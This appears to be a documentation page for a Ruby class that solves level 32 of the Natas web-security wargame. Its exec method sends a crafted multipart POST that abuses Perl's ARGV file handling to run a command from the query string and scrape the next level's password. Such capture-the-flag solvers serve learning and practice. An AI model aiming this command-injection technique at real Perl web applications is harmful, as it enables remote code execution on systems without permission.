class NatasLevel32

Level 32

Constants

LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 918
  def exec
    payload = URI.encode_www_form_component(PAYLOAD)
    payload.gsub!('+', '%20')
    request = Net::HTTP::Post.new(
      "#{PAGE}?#{payload}"
    )
    request.basic_auth(@login, @password)
    request['Content-Type'] = 'multipart/form-data; boundary="boundary"'
    body = <<~BODY
    --boundary
    Content-Disposition: form-data; name="file"

    ARGV
    --boundary
    Content-Disposition: form-data; name="file"; filename="file"

    --boundary--
    BODY

    request.body = body.gsub("\n", "\r\n")
    data = @client.request(request).body
    match = /<th>(\w{32})\n/.match(data)
    not_found unless match
    found(match[1])
  end